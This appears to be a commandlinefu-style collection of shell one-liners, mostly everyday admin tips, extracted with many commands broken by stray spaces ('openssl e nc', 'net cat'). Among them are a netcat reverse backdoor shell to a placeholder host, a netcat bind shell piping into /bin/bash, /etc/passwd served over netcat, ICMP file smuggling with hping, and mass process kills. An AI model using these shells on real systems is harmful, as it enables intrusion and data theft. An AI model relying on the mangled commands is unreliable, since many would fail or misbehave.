- o Compression=no -x" user@<source>:<source_dir> <dest_dir> True Random Dice Roll $ tr -cd '1-6' < /dev/urandom | head -c 1; echo Automatically find and re-attach to a detached screen session $ screen -D -R This is how you should push a string in a command's stdin. $ command <<< word ping as traceroute $ for i in {1..30}; do ping -t $i -c 1 google.com; done | grep "Time to live exceeded" what model of computer I'm using? $ sudo dmidecode | grep Product Extract tar content without leading parent directory $ tar -xaf archive. tar.gz --strip-components=1 Target a specific column for pattern substitution $ awk '{gsub("foo","bar",$5)}1' file Run a command when a file is changed $ while inotifywait -e modify /tmp/myfile; do firefox; done Watch several log files of different machines in a single multitail window on your own machine $ multitail -l 'ssh machine1 "tail -f /var/log/apache2/error.log"' - l 'ssh machine2 "tail -f /var/log/apache2/error.log"'Substrings a variable $ var='123456789'; echo ${var:<start_pos>:<offset>} One command line web server on port 80 using nc (netcat) $ while true ; do nc -l 80 < index.html ; done RDP through SSH tunnel $ ssh -f -L3389: <RDP_HOST>:3389 <SSH_PROXY> "sleep 10" && rdesktop - T'<WINDOW_TITLE>' -uAdministrator -g800x600 -a8 -rsound:off - rclipboard:PRIMARYCLIPBOARD -5 localhost Numeric zero padding file rename $ rename 's/\d+/sprintf("%04d",$&)/e' *.jpg Find out the starting directory of a script $ echo "${0%/*}" Remote screenshot $ ssh user@remote-host "DISPLAY=:0.0 import -window root -format png - "|display -format png - Google text-to-speech in mp3 format $ say(){ mplayer -user- agent Mozilla "http://translate.google.com/translate_tts?tl=en&q=$(echo $* | sed 's#\ #\+#g')" > /dev/null 2>&1 ; } add the result of a command into vi $ !!command Place the NUM-th argument of the most recent command on the shell $ <ALT>+<.> or <ALT>+<NUM>+<.> or <ALT>+<NUM>,<ALT>+<.> Find the package a command belongs to on Debian $ dpkg -S $( which ls )Look up a unicode character by name $ egrep -i "^[0-9a-f]{4,} .*$*" $(locate CharName.pm) | while read h d; do /usr/bin/printf "\U$(printf "%08x" 0x$h)\tU+%s\t%s " $h "$d"; done Start dd and show progress every X seconds $ dd if=/path/inputfile | pv | dd of=/path/outpufile Ask user to confirm $ Confirm() { read -sn 1 -p "$1 [Y/N]? "; [[ $REPLY = [Yy] ]]; } Capture video of a linux desktop $ ffmpeg -y -f alsa -ac 2 -i pulse -f x11grab -r 30 -s `xdpyinfo | grep 'dimensions:'|awk '{print $2}'` -i :0.0 -acodec pcm_s16le output.wav - an -vcodec libx264 -vpre lossless_ultrafast -threads 0 output.mp4 Random unsigned integer $ echo $(openssl rand 4 | od -DAn) kill all process that belongs to you $ kill -9 -1 Make a file not writable / immutable by root $ sudo chattr +i <file> Continue a current job in the background $ <ctrl+z> bg translates acronyms for you $ wtf is <acronym> Delete DOS Characters via VIM (^M) $ :set ff=unixCreate an animated gif from a Youtube video $ url=http://www.youtube.com/watch?v=V5bYDhZBFLA; youtube-dl - b $url; mplayer $(ls ${url##*=}*| tail -n1) -ss 00:57 -endpos 10 - vo gif89a:fps=5:output=output.gif -vf scale=400:300 -nosound Print just line 4 from a textfile $ sed -n '4{p;q}' Print just line 4 from a textfile $ sed -n '4p' Quick HTML image gallery from folder contents $ find . -iname '*.jpg' -exec echo '<img src="{}">' \; > gallery.html Get your external IP address without curl $ wget -qO- icanhazip.com Countdown Clock $ MIN=1 && for i in $(seq $(($MIN*60)) -1 1); do echo - n "$i, "; sleep 1; done; echo -e " BOOOM! Time to start." lines in file2 that are not in file1 $ grep -Fxv -f file1 file2 JSON processing with Python $ curl -s "http://feeds.delicious.com/v2/json?count=5" | python -m json.tool | less -R Start a HTTP server which serves Python docs $ pydoc -p 8888 & gnome-open http://localhost:8888 Optimize PDF documents $ gs -sDEVICE=pdfwrite -dCompatibilityLevel=1.4 - dPDFSETTINGS=/screen -dNOPAUSE -dQUIET -dBATCH - sOutputFile=output.pdf input.pdfDo some learning... $ ls /usr/bin | xargs whatis | grep -v nothing | less Insert the last argument of the previous command $ <ALT> . Carriage return for reprinting on the same line $ while true; do echo -ne "$(date)\r"; sleep 1; done Copy a folder tree through ssh using compression (no temporary files) $ ssh <host> ' tar -cz /<folder>/<subfolder>' | tar -xvz command line calculator $ calc(){ awk "BEGIN{ print $* }" ;} Backup a local drive into a file on the remote host via ssh $ dd if=/dev/sda | ssh user@server ' dd of=sda.img' Kill processes that have been running for more than a week $ find /proc -user myuser -maxdepth 1 -type d -mtime +7 - exec basename {} \; | xargs kill -9 Print text string vertically, one character per line. $ echo "vertical text" | grep -o '.' Find running binary executables that were not installed using dpkg $ cat /var/lib/dpkg/info/*.list > /tmp/listin ; ls /proc/*/exe |xargs -l readlink | grep -xvFf /tmp/listin; rm /tmp/listin Add prefix onto filenames $ rename 's/^/prefix/' * Pick a random line from a file $ shuf -n1 file.txtGet all these commands in a text file with description. $ for x in `jot - 0 2400 25`; do curl "http://www.commandlinefu.com/commands/browse/sort- by-votes/plaintext/$x" ; done > commandlinefu.txt Stripping ^M at end of each line for files $ dos2unix <filenames> Find removed files still in use via /proc $ find -L /proc/*/fd -links 0 2>/dev/null Connect to google talk through ssh by setting your IM client to use the localhost 5432 port $ ssh -f -N -L 5432:talk.google.com:5222 user@home.network.com List and delete files older than one year $ find <directory path> -mtime +365 -and -not -type d -delete for all flv files in a dir, grab the first frame and make a jpg. $ for f in *.flv; do ffmpeg -y -i "$f" -f image2 -ss 10 -vframes 1 - an "${f%.flv}.jpg"; done wrap long lines of a text $ fold -s -w 90 file.txt Grep colorized $ grep -i --color=auto from within vi, pipe a chunk of lines to a command line and replace the chunk with the result $ !}sort Grep for word in directory (recursive) $ grep --color=auto -iRnH "$search_word" $directoryUnix alias for date command that lets you create timestamps in ISO 8601 format $ alias timestamp='date "+%Y%m%dT%H%M%S"' Grep without having it show its own process in the results $ ps aux | grep "[s]ome_text" count IPv4 connections per IP $ netstat -anp |grep 'tcp\|udp' | awk '{print $5}' | sed s/::ffff:// | cut -d: -f1 | sort | uniq -c | sort -n Files extension change $ rename .oldextension .newextension *.oldextension archive all files containing local changes (svn) $ svn st | cut -c 8- | sed 's/^/\"/;s/$/\"/' | xargs tar -czvf ../backup.tgz Just run it ;) $ echo SSBMb3ZlIFlvdQo= | base64 -d pattern match in awk - no grep $ awk '/pattern1/ && /pattern2/ && !/pattern3/ {print}' Block an IP address from connecting to a server $ iptables -A INPUT -s 222.35.138.25/32 -j DROP Optimal way of deleting huge numbers of files $ find /path/to/dir -type f -print0 | xargs -0 rm Optimal way of deleting huge numbers of files $ rsync -a --delete empty-dir/ target-dir/du with colored bar graph $ du -x --max-depth=1|sort -rn|awk -F / - v c=$COLUMNS 'NR==1{t=$1} NR>1{r=int($1/t*c+.5); b="\033[1;31m"; for (i= 0; i<r; i++) b=b"#"; printf " %5.2f%% %s\033[0m %s ", $1/t*100, b, $2}'|tac quick copy $ cp foo{,bak} Sending a file over icmp with hping $ hping3 10.0.2.254 --icmp --sign MSGID1 -d 50 -c 1 --file a_file Kill a broken ssh connection $ <Return>~. Convert JSON to YAML $ ruby -ryaml -rjson - e 'puts YAML.dump(JSON.parse(STDIN.read))' < file.json > file.yaml Convert Shell Text to Upper/Lower Case $ ALT-U / ALT-L Binary digits Matrix effect $ perl -e '$|++; while (1) { print " " x (rand(35) + 1), int(rand(2)) }' open two files side by side in vim (one window, two panes) $ vim -O file1 file2 repeat a command every one second $ watch -n 1 "do foo" Recursively find top 20 largest files (> 1MB) sort human readable format $ find . -type f -print0 | xargs -0 du -h | sort -hr | head -20Update all packages installed via homebrew $ brew update && brew upgrade ` brew outdated` open a screenshot of a remote desktop via ssh $ xloadimage <(ssh USER@HOSTNAME DISPLAY=:0.0 import - window root png:-) Find ulimit values of currently running process $ cat /proc/PID/limits diff current vi buffer edits against original file $ :w !diff -u % - Redirect tar extract to another directory $ tar xfz filename. tar.gz -C PathToDirectory print multiplication formulas $ seq 9 | sed 'H;g' | awk - v RS='' '{for(i=1;i<=NF;i++)printf("%dx%d=%d%s", i, NR, i*NR, i==NR?" ":"\t")}' Find Malware in the current and sub directories by MD5 hashes $ IFS=$' ' && for f in `find . -type f -exec md5sum "{}" \;`; do echo $f | sed - r 's/^[^ ]+/Checking:/'; echo $f | cut -f1 -d' ' | netcat hash.cymru.com 43 ; done Execute a command, convert output to .png file, upload file to imgur.com, then returning the address of the .png. $ imgur(){ $*|convert label:@- png:-|curl -F "image=@-" - F "key=1913b4ac473c692372d108209958fd15" http://api.imgur.com/2/upload .xml| grep -Eo "<original>(.)*</original>" | grep -Eo "http://i.imgur.com/[^<]*";} Generate a random password 30 characters long $ gpg --gen-random --armor 1 30all out $ pkill -KILL -u username Run a ext4 file system check and badblocks scan with progress info $ fsck.ext4 -cDfty -C 0 /dev/sdxx Selecting a random file/folder of a folder $ shuf -n1 -e * List your MACs address $ lsmac() { ifconfig -a | sed '/eth\|wl/!d;s/ Link.*HWaddr//' ; } ssh to machine behind shared NAT $ ssh -NR 0.0.0.0:2222:127.0.0.1:22 user@jump.host.com Countdown Clock $ MIN=10;for ((i=MIN*60;i>=0;i--));do echo -ne "\r$(date - d"0+$i sec" +%H:%M:%S)";sleep 1;done list all file extensions in a directory $ find . -type f | awk -F'.' '{print $NF}' | sort| uniq -c | sort -g Send an http HEAD request w/curl $ curl -I http://localhost view hex mode in vim $ :%!xxd View ~/.ssh/known_hosts key information $ ssh-keygen -l -f ~/.ssh/known_hosts Kill all Zombie processes (Guaranteed!) $ kill -9 `ps -xaw -o state -o ppid | grep Z | grep -v PID | awk '{print $2}'`prevent accidents and test your command with echo $ echo rm *.txt exclude a column with awk $ awk '{ $5=""; print }' file Get My Public IP Address $ curl ifconfig.me pretend to be busy in office to enjoy a cup of coffee $ for i in `seq 0 100`;do timeout 6 dialog --gauge "Install..." 6 40 "$i";done Empty a file $ :> file Better way to use notify-send with at or cron $ DISPLAY=:0.0 XAUTHORITY=~/.Xauthority notify-send test use screen as a terminal emulator to connect to serial consoles $ screen /dev/tty<device> 9600 Emptying a text file in one shot $ :%d computes the most frequent used words of a text file $ cat WAR_AND_PEACE_By_LeoTolstoi.txt | tr -cs "[:alnum:]" " "| tr "[:lower:]" "[:upper:]" | awk '{h[$1]++}END{for (i in h){print h[i]" "i}}'|sort - nr | cat -n | head -n 30 Print info about your real user. $ who loves mum Serve current directory tree at http://$HOSTNAME:8080/ $ twistd -n web --path .Open Remote Desktop (RDP) from command line and connect local resources $ rdesktop -a24 -uAdministrator -pPassword -r clipboard:CLIPBOARD - r disk:share=~/share -z -g 1280x900 -0 $@ & Restrict the bandwidth for the SCP command $ scp -l10 pippo@serverciccio:/home/zutaniddu/* . live ssh network throughput test $ pv /dev/zero|ssh $host 'cat > /dev/null' bash screensaver (scrolling ascii art with customizable message) $ while [ 1 ]; do banner 'ze missiles, zey are coming! ' | while IFS=" " read l; do echo "$l"; sleep 0.01; done; done Upgrade all perl modules via CPAN $ cpan -r Optimal way of deleting huge numbers of files $ find /path/to/dir -type f -delete Remove lines that contain a specific pattern($1) from file($2). $ sed -i '/myexpression/d' /path/to/file.txt List your largest installed packages (on Debian/Ubuntu) $ dpigs rsync + find $ find . -name "whatever.*" -print0 | rsync -av --files-from=- -- from0 ./ ./destination/ autossh + ssh + screen = super rad perma-sessions $ AUTOSSH_POLL=1 autossh -M 21010 hostname -t 'screen -Dr'Record microphone input and output to date stamped mp3 file $ arecord -q -f cd -r 44100 -c2 -t raw | lame -S -x -h -b 128 - `date +%Y%m%d%H%M`.mp3 cycle through a 256 colour palette $ yes "$(seq 1 255)" | while read i; do printf "\x1b[48;5;${i}m "; sleep .01; done Parallel file downloading with wget $ wget -nv http://en.wikipedia.org/wiki/Linux -O- | egrep - o "http://[^[:space:]]*.jpg" | xargs -P 10 -r -n 1 wget -nv move a lot of files over ssh $ tar -cf - /home/user/test | gzip -c | ssh user@ sshServer 'cd /tmp; tar xfz -' Cleanup firefox's database. $ pgrep -u `id -u` firefox-bin || find ~/.mozilla/firefox -name '*.sqlite'| (while read -e f; do echo 'vacuum;'|sqlite3 "$f" ; done) vim easter egg $ $ vim ... :help 42 Find the process you are looking for minus the grepped one $ pgrep command_name Stream YouTube URL directly to mplayer $ id="dMH0bHeiRNg";mplayer -fs http://youtube.com/get_video.php? video_id=$id&t=$(curl -s http://www.youtube.com/watch?v=$id | sed - n 's/.*, "t": "$[^"]*$", .*/\1/p') currently mounted filesystems in nice layout $ column -t /proc/mounts Send email with one or more binary attachments $ echo "Body goes here" | mutt -s "A subject" - a /path/to/file.tar.gz recipient@example.comSalvage a borked terminal $ echo <ctrl-v><esc>c<enter> Update twitter via curl $ curl -u user - d status="Tweeting from the shell" http://twitter.com/statuses/update.xml ssh autocomplete $ complete -W "$(echo $(grep '^ ssh ' .bash_history | sort -u | sed 's/^ ssh //'))" ssh Get all IPs via ifconfig $ ifconfig | perl -nle'/dr:(\S+)/ && print $1' VIM: Replace a string with an incrementing number between marks 'a and 'b (eg, convert string ZZZZ to 1, 2, 3, ...) $ :let i=0 | 'a,'bg/ZZZZ/s/ZZZZ/\=i/ | let i=i+1 Get the canonical, absolute path given a relative and/or noncanonical path $ readlink -f ../super/symlink_bon/ahoy Create a Multi-Part Archive Without Proprietary Junkware $ tar czv Pictures | split -d -a 3 -b 16M - pics. tar.gz. Display last exit status of a command $ echo $? Enable ** to expand files recursively (>=bash-4.0) $ shopt -s globstar Delete all files found in directory A from directory B $ for file in <directory A>/*; do rm <directory B>/`basename $ file`; doneCommand Line to Get the Stock Quote via Yahoo $ curl -s 'http://download.finance.yahoo.com/d/quotes.csv?s=csco&f=l1' Plays Music from SomaFM $ read -p "Which station? "; mplayer --reallyquiet -vo none - ao sdl http://somafm.com/startstream=${REPLY}.pls Search for a single file and go to it $ cd $(dirname $(find ~ -name emails.txt)) Convert camelCase to underscores (camel_case) $ sed -r 's/([a-z]+)([A-Z][a-z]+)/\1_\l\2/g' file.txt Set your profile so that you resume or start a screen session on login $ echo "screen -DR" >> ~/.bash_profile play high-res video files on a slow processor $ mplayer -framedrop -vfm ffmpeg -lavdopts lowres=1:fast:skiploopfilter=all Create directory named after current date $ mkdir $(date +%Y%m%d) Monitor dynamic changes in the dmesg log. $ watch "dmesg |tail -15" Generate a list of installed packages on Debian-based systems $ dpkg --get-selections > LIST_FILE find the process that is using a certain port e.g. port 3000 $ lsof -P | grep ':3000' Edit the last or previous command line in an editor then execute $ fc [history-number]Pause Current Thread $ ctrl-z Converts to PDF all the OpenOffice.org files in the directory $ for i in $(ls *.od{tp}); do unoconv -f pdf $i; done Create a bunch of dummy files for testing $ touch {1..10}.txt Shows size of dirs and files, hidden or not, sorted. $ du -cs * .[^\.]* | sort -n Convert .wma files to .ogg with ffmpeg $ find -name '*wma' -exec ffmpeg -i {} -acodec vorbis -ab 128k {}.ogg \; Find distro name and/or version/release $ cat /etc/*-release Generate Random Passwords $ < /dev/urandom tr -dc _A-Z-a-z-0-9 | head -c6 bash shortcut: !$ !^ !* !:3 !:h and !:t $ echo foo bar foobar barfoo && echo !$ !^ !:3 !* && echo /usr/bin/foobar&& echo !$:h !$:t Find recursively, from current directory down, files and directories whose names contain single or multiple whitespaces and replace each such occurrence with a single underscore. $ find ./ -name '*' -exec rename 's/\s+/_/g' {} \; Tells which group you DON'T belong to (opposite of command "groups") --- uses sed $ sed -e "/$USER/d;s/:.*//g" /etc/group | sed -e :a -e '/$/N;s/ / /;ta'Quickly get summary of sizes for files and folders $ du -sh * Host cpu performance $ openssl speed md5 drop first column of output by piping to this $ awk '{ $1="";print}' Create a bunch of dummy text files $ base64 /dev/urandom | head -c 33554432 | split -b 8192 -da 4 - dummy. Get the Nth argument of the last command (handling spaces correctly) $ !:n Retry the previous command until it exits successfully $ !!; while [ $? -ne 0 ]; do !!; done Play awesome rythmic noise using aplay $ echo "main(i){for(i=0;;i++)putchar(((i* (i>>8|i>>9)&46&i>>8))^(i&i>>13|i>>6));}" | gcc -x c - && ./a.out | aplay Turns red the stderr output $ color()(set -o pipefail;"$@" 2>&1>&3|sed $'s,.*,\e[31m&\e[m,'>&2)3>&1 Recursively unrar into dir containing archive $ find . -name '*.rar' -execdir unrar e {} \; Temporarily ignore mismatched SSH host key $ ssh -o UserKnownHostsFile=/dev/null - o StrictHostKeyChecking=no username@host Remove all zero size files from current directory (not recursive) $ find . -maxdepth 1 -size 0c -deleteWatch the progress of 'dd' $ pv -tpreb /dev/urandom | dd of=file.img Get a stream feed from a Twitter user $ step1 ; step2 ; step3 ; step4 ; curl -o- -- get 'https://stream.twitter.com/1/statuses/filter.json' -- header "$oauth_header" --data "follow=$id" Create the authorization header required for a Twitter stream feed $ step4() { oauth_header="Authorization: OAuth oauth_consumer_key=\"$k1\ ", oauth_nonce=\"$once\", oauth_signature=\"$signature\", oauth_signature_ method=\"HMAC- SHA1\", oauth_timestamp=\"$ts\", oauth_token=\"$k3\", oauth_version=\"1.0\" ";} Create the signature base string required for a Twitter stream feed $ step2() { b="GET&https%3A%2F%2Fstream.twitter.com%2F1%2Fstatuses%2Ffilter.j son&follow%3D${id}%26oauth_consumer_key%3D${k1}%26oauth_nonce%3 D${once}%26oauth_signature_method%3DHMAC- SHA1%26oauth_timestamp%3D${ts}%26oauth_token%3D${k3}%26oauth_v ersion%3D1.0";} Create the oauth token required for a Twitter stream feed $ step3() { s=$( echo -n $b | openssl dgst -sha1 -hmac $hmac -binary | openssl base64); signature=`for((i=0;i<${#s};i++)); do case ${s:i:1} in +) e % 2B;; /) e %2F;; =) e %3D;; *) e ${s:i:1};; esac ; done` ; } ; e() { echo -n $1; } Check your spelling $ aspell -a <<< '<WORDS>' Find all files larger than 500M and less than 1GB $ find / -type f -size +500M -size -1G Show bandwidth use oneliner $ while true; do cat /proc/net/dev; sleep 1; done | awk - v dc="date \"+%T\"" '/eth0/{i = $2 - oi; o = $10 - oo; oi = $2; oo = $10; dc|getline d; close(dc); if (a++) printf "%s %8.2f KiB/s in %8.2f KiB/s out ", d, i/1024, o/1024}'Change/Modify timestamp interactively $ touch -d $(zenity --calendar --date-format=%F) filename sort the contents of a text file in place. $ sort -g -o list.txt{,} Instantly load bash history of one shell into another running shell $ $ history -a #in one shell , and $ history -r #in another running shell Compare directories via diff $ diff -rq dirA dirB copy with progress bar - rsync $ rsync -rv <src> <dst> --progress Multiple variable assignments from command output in BASH $ read day month year < <(date +'%d %m %y') List your MACs address $ cat /sys/class/net/eth0/address Rename all files which contain the sub-string 'foo', replacing it with 'bar' $ for i in ./*foo*;do mv -- "$i" "${i//foo/bar}";done Create a 5 MB blank file via a seek hole $ dd if=/dev/zero of=testfile.seek seek=5242879 bs=1 count=1 Screensaver $ alias screensaver='for ((;;)); do echo - ne "\033[$((1+RANDOM%LINES));$((1+RANDOM%COLUMNS))H\033[$((R ANDOM%2));3$((RANDOM%8))m$((RANDOM%10))"; sleep 0.1 ; done' ROT13 using the tr command $ alias rot13="tr a-zA-Z n-za-mN-ZA-M"Bash logger $ script /tmp/log.txt Recursively search for large files. Show size and location. $ find . -size +100000k -exec du -h {} \; Make vim open in tabs by default (save to .profile) $ alias vim="vim -p" Rename HTML files according to their title tag $ perl -wlne'/title>([^<]+)/i&&rename$ARGV,"$1.html"' *.html Secure copy from one server to another without rsync and preserve users, etc $ tar -czvf - /src/dir | ssh remotehost "(cd /dst/dir ; tar -xzvf -)" the same as [Esc] in vim $ Ctrl + [ Binary clock $ perl -e 'for(;;){@d=split("",`date +%H%M%S`);print"\r";for(0..5) {printf"%.4b ",$d[$_]}sleep 1}' Function to split a string into an array $ read -a ARR <<<'world domination now!'; echo ${ARR[2]}; Generate MD5 hash for a string $ md5sum <<<"test" Recompress all .gz files in current directory using bzip2 running 1 job per CPU core in parallel $ parallel -j+0 "zcat {} | bzip2 >{.}.bz2 && rm {}" ::: *.gz phpinfo from the command line $ php -iEscape potential tarbombs $ atb() { l=$( tar tf $1); if [ $(echo "$l" | wc -l) -eq $(echo "$l" | grep $(echo "$l" | head -n1) | wc - l) ]; then tar xf $1; else mkdir ${1%. tar.gz} && tar xf $1 -C ${1%. tar.gz}; fi ;} pretend to be busy in office to enjoy a cup of coffee $ while [ true ]; do head -n 100 /dev/urandom; sleep .1; done | hexdump - C | grep "ca fe" runs a X session within your X session $ ssh -C -Y -l$USER xserver.mynet.xx 'Xnest -geometry 1900x1150 - query localhost' Find all symlinks that link to directories $ find -type l -xtype d Have a random "cow" say a random thing $ fortune | cowsay -f $(ls /usr/share/ cowsay/cows/ | shuf -n1) sends a postscript file to a postscript printer using netcat $ cat my.ps | nc -q 1 hp4550.mynet.xx 9100 Display which distro is installed $ cat /etc/*release Fetch every font from dafont.com to current folder $ d="www.dafont.com/alpha.php?"; for c in {a..z}; do l=`curl - s "${d}lettre=${c}"|sed -n 's/.*ge=$[0-9]\ {2\}$.*/\1/p'`; for((p=1;p<=l;p++));do for u in `curl - s "${d}page=${p}&lettre=${c}"|egrep -o "http\S*.com/dl/\? f=\w*"`;do aria2c "${u}";done;done;done Realtime lines per second in a log file $ tail -f access.log | pv -l -i10 -r >/dev/nullintercept stdout/stderr of another process $ strace -ff -e write=1,2 -s 1024 -p PID 2>&1 | grep "^ |" | cut -c11-60 | sed - e 's/ //g' | xxd -r -p send DD a signal to print its progress $ while :;do killall -USR1 dd;sleep 1;done See your current RAM frequency $ dmidecode -t 17 | awk -F":" '/Speed/ { print $2 }' scp with compression. $ scp -C 10.0.0.4:/tmp/backup.sql /path/to/backup.sql Perl Command Line Interpreter $ perl -e 'while(1){print"> ";eval<>}' Find unused IPs on a given subnet $ nmap -T4 -sP 192.168.2.0/24 && egrep "00:00:00:00:00:00" /proc/net/arp Change the From: address on the fly for email sent from the command- line $ mail -s "subject" user@todomain.com <e mailbody.txt -- - f customfrom@fromdomain.com -F 'From Display Name' find and delete empty dirs, start in current working dir $ find . -type d -empty -delete Check which files are opened by Firefox then sort by largest size. $ l sof -p $(pidof firefox) | awk '/.mozilla/ { s = int($7/(2^20)); if( s>0) print ( s)" MB -- "$9 | " sort -rn" }' Use colordiff in side-by-side mode, and with automatic column widths. $ colordiff -yW"`tput cols`" /path/to/file1 /path/to/file2extract email adresses from some file (or any other pattern) $ grep -Eio '([[:alnum:]_.-]+@[[:alnum:]_.-]+?\.[[:alpha:].]{2,6})' geoip information $ curl -s "http://www.geody.com/geoip.php?ip=$( curl -s icanhazip.com)" | sed '/^IP:/!d;s/<[^>][^>]*>//g' What is my ip? $ curl http://www.whatismyip.org/ convert vdi to vmdk (virtualbox hard disk conversion to vmware hard disk format) $ VBoxManage internalcommands converttoraw winxp.vdi winxp.raw && qe mu-img convert -O vmdk winxp.raw winxp.vmdk && rm winxp.raw FAST Search and Replace for Strings in all Files in Directory $ sh -c 'S=askapache R=htaccess; find . -mount -type f|xargs -P5 -iFF grep - l -m1 "$S" FF|xargs -P5 -iFF sed -i -e "s%${S}%${R}%g" FF' Get the total length of time in hours:minutes:seconds (HH:MM:SS) of all video (or audio) in the current dir (and below) $ find -type f -name "*.avi" -print0 | xargs -0 mplayer -vo dummy - ao dummy -identify 2>/dev/null | perl -nle '/ID_LENGTH=([0- 9\.]+)/ && ($t +=$1) && printf "%02d:%02d:%02d ",$t/3600,$t/60%60,$t%60' | tail -n 1 Send data securly over the net. $ cat /etc/passwd | openssl aes-256-cbc -a -e -pass pass:password | net cat -l -p 8080 When was your OS installed? $ ls -lct /etc | tail -1 | awk '{print $6, $7}' How to run a command on a list of remote servers read from a file $ while read server; do ssh -n user@$server "command"; done < servers.txtReplace spaces in filenames with underscorees $ ls | while read f; do mv "$f" "${f// /_}";done find the biggest files recursively, no matter how many $ find . -type f -printf '%20s %p ' | sort -n | cut -b22- | tr ' ' '\000' | xargs -0 ls -laSr grep certain file types recursively $ grep -r --include="*.[ch]" pattern . Change proccess affinity. $ taskset -cp <core> <pid> back up your commandlinefu contributed commands $ curl http://www.commandlinefu.com/commands/by/<your username>/rss|gzi p ->commandlinefu-contribs-backup-$(date +%Y-%m-%d-%H.%M.%S).rss.gz benchmark web server with apache benchmarking tool $ ab -n 9000 -c 900 localhost:8080/index.php Multiple SSH Tunnels $ ssh -L :: -L :: @ Redirect incoming traffic to SSH, from a port of your choosing $ iptables -t nat -A PREROUTING -p tcp --dport [port of your choosing] - j REDIRECT --to-ports 22 LDAP search to query an ActiveDirectory server $ ldapsearch -LLL -H ldap://activedirectory.example.com:389 - b 'dc=example,dc=com' -D 'DOMAIN\Joe.Bloggs' - w 'p@ssw0rd' '(sAMAccountName=joe.bloggs)' Easily scp a file back to the host you're connecting from $ mecp () { scp "$@" ${SSH_CLIENT%% *}:Desktop/; }Super Speedy Hexadecimal or Octal Calculations and Conversions to Decimal. $ echo "$(( 0x10 )) - $(( 010 )) = $(( 0x10 - 010 ))" find and replace tabs for spaces within files recursively $ find ./ -type f -exec sed -i 's/\t/ /g' {} \; alt + 1 . $ alt + 1 . sends your internal IP by email $ ifconfig en1 | awk '/inet / {print $2}' | mail - s "hello world" e mail@e mail.com synchronicity $ cal 09 1752 Terminal redirection $ script /dev/null | tee /dev/pts/3 Use mtr to create a text file report $ mtr --report --report-cycles 10 www.google.com > google_net_report.txt Rot13 using the tr command $ alias rot13="tr '[A-Za-z]' '[N-ZA-Mn-za-m]'" Measures download speed on eth0 $ while true; do X=$Y; sleep 1; Y=$(ifconfig eth0|grep RX\ bytes|awk '{ print $2 }'|cut -d : -f 2); echo "$(( Y-X )) bps"; done Clean swap area after using a memory hogging application $ swapoff -a ; swapon -a loop over a set of items that contain spaces $ ls | while read ITEM; do echo "$ITEM"; done[re]verify a disc with very friendly output $ dd if=/dev/cdrom | pv -s 700m | md5sum | tee test.md5 Traceroute w/TCP to get through firewalls. $ tcptraceroute www.google.com Rotate a set of photos matching their EXIF data. $ jhead -autorot *.jpg Launch a command from a manpage $ !date hard disk information - Model/serial no. $ hdparm -i[I] /dev/sda Split File in parts $ split -b 19m file Nameforpart Speak the top 6 lines of your twitter timeline every 5 minutes..... $ while [ 1 ]; do curl -s - u username:password http://twitter.com/statuses/friends_timeline.rss|grep titl e|sed -ne 's/<\/*title>//gp' | head -n 6 |festival --tts; sleep 300;done To get you started! $ vimtutor Exclude grep from your grepped output of ps (alias included in description) $ ps aux | grep [h]ttpd renames multiple files that match the pattern $ rename 's/foo/bar/g' * infile search and replace on N files (including backup of the files) $ perl -pi.bk -e's/foo/bar/g' file1 file2 fileNCommand to logout all the users in one command $ sudo who | awk '!/root/{ cmd="/sbin/pkill -KILL -u " $1; system(cmd)}' Rename all subtitles files with the same name of mp4 files in same folder $ paste -d: <(ls -1 *.mp4) <(ls -1 *.srt) | while read line; do movie="${line%%:*}"; subtitle="${line##*:}"; mv "${subtitl e}" "${movie%.*}.srt"; done SSH connection through host in the middle $ ssh -J user@reachable_host user@unreacheable_host !* Tells that you want all of the *arguments* from the previous command to be repeated in the current command $ chmod 777 !* Show running services (using systemctl) $ command systemctl --no-page --no-legend --plain -t service -- state=running Convert all JPEG images to MP4 $ cat *.jpg | ffmpeg -f image2pipe -r 1 -vcodec mjpeg -i - - vcodec libx264 out.mp4 Binary clock $ perl -e 'for(;;sleep 1){printf"\r"."%.4b "x6,split"",`date +%H%M%S`}' Bare Metal IRC Client $ nik=clf$RANDOM;sr=irc.efnet.org;expect - c "set timeout -1;spawn nc $sr 6666;set send_human {.1 .2 1 .2 1};expect A UTH* ;send -h \"user $nik * * :$nik commandlinefu nick $nik \"; interact -o -re (PING.:)(.*\$) {send \"PONG :\$interact_out(2,string)\"}" pulsed terminal clock $ clear;while true;sleep 1;do for((a=1;a<=$( tput cols)/3;a++));do tput cup 0 $ a;echo " " $(date);done;sleep 1;for((a;a>=1;a- -));do tput cup 0 $a;echo $(date) " ";done;doneSubmit command & rewrite orginal command $ <ctrl>+o Encrypted chat with netcat and openssl (one-liner) $ server$ while true; do read -n30 ui; echo $ui | openssl e nc -aes-256-ctr - a -k PaSSw; done | nc -l -p 8877 | while read so; do decoded_so=` echo "$so"| openssl e nc -d -a -aes-256- ctr -k PaSSw`; echo -e "I ncoming: $decoded_so"; done removes characters from cursor to the end of line $ Ctrl+k Symlink all files from a base directory to a target directory $ ln -s /BASE/* /TARGET/ All what exists in dir B and not in dir A will be copied from dir B to new or existing dir C $ rsync -v -r --size-only --compare-dest=../A/ B/ C/ find previously entered commands (requires configuring .inputrc) $ <Meta-p> (aka <ALT+P>) Add directory to $PATH if it's not already there $ if [[ ":$PATH:" != *":$dir:"* ]]; then PATH=${PATH}:$dir; fi Debug how files are being accessed by a process $ inotifywait -m -r . Convert JSON to YAML $ python - c 'import sys, yaml, json; yaml.safe_dump(json.load(sys.stdin), sys.stdout, def ault_flow_style=False)' < file.json > file.yamlSearch google.com on your terminal $ Q="YOURSEARCH"; GOOG_URL="http://www.google.com/search? q="; AGENT="Mozilla/4.0"; stream=$(curl -A "$AGENT" - skLm 10 "${GOOG_URL}\"${Q/\ /+}\"" | grep -oP '\/url\?q=.+?&' | sed 's/\/url?q=//;s/&//'); echo -e "${stream//\%/\x}" Reverse Backdoor Command Shell using Netcat $ exec 5<>/dev/tcp/<your-box>/8080;cat <&5 | while read line; do $line 2>&5 >&5; done Emulating netcat -e (netcat-traditional or netcat-openbsd) with the gnu- netcat $ mkfifo foo ; nc -lk 2600 0<foo | /bin/bash 1>foo Find biggest 10 files in current and subdirectories and sort by file size $ find . -type f -print0 | xargs -0 du -h | sort -hr | head -10 Get your external IP and Network Info $ curl ifconfig.me/all Quickly CD Out Of Directories Without 5+ Aliases $ up() { local x='';for i in $(seq ${1:-1});do x="$x../"; done;cd $x; } List all commands present on system $ ls ${PATH//:/ } A line across the entire width of the terminal $ printf "%$(tput cols)s "|tr ' ' '=' Create the four oauth keys required for a Twitter stream feed $ step1() { k1="Consumer key" ; k2="Consumer secret" ; k3="Access token" ; k4="Access token 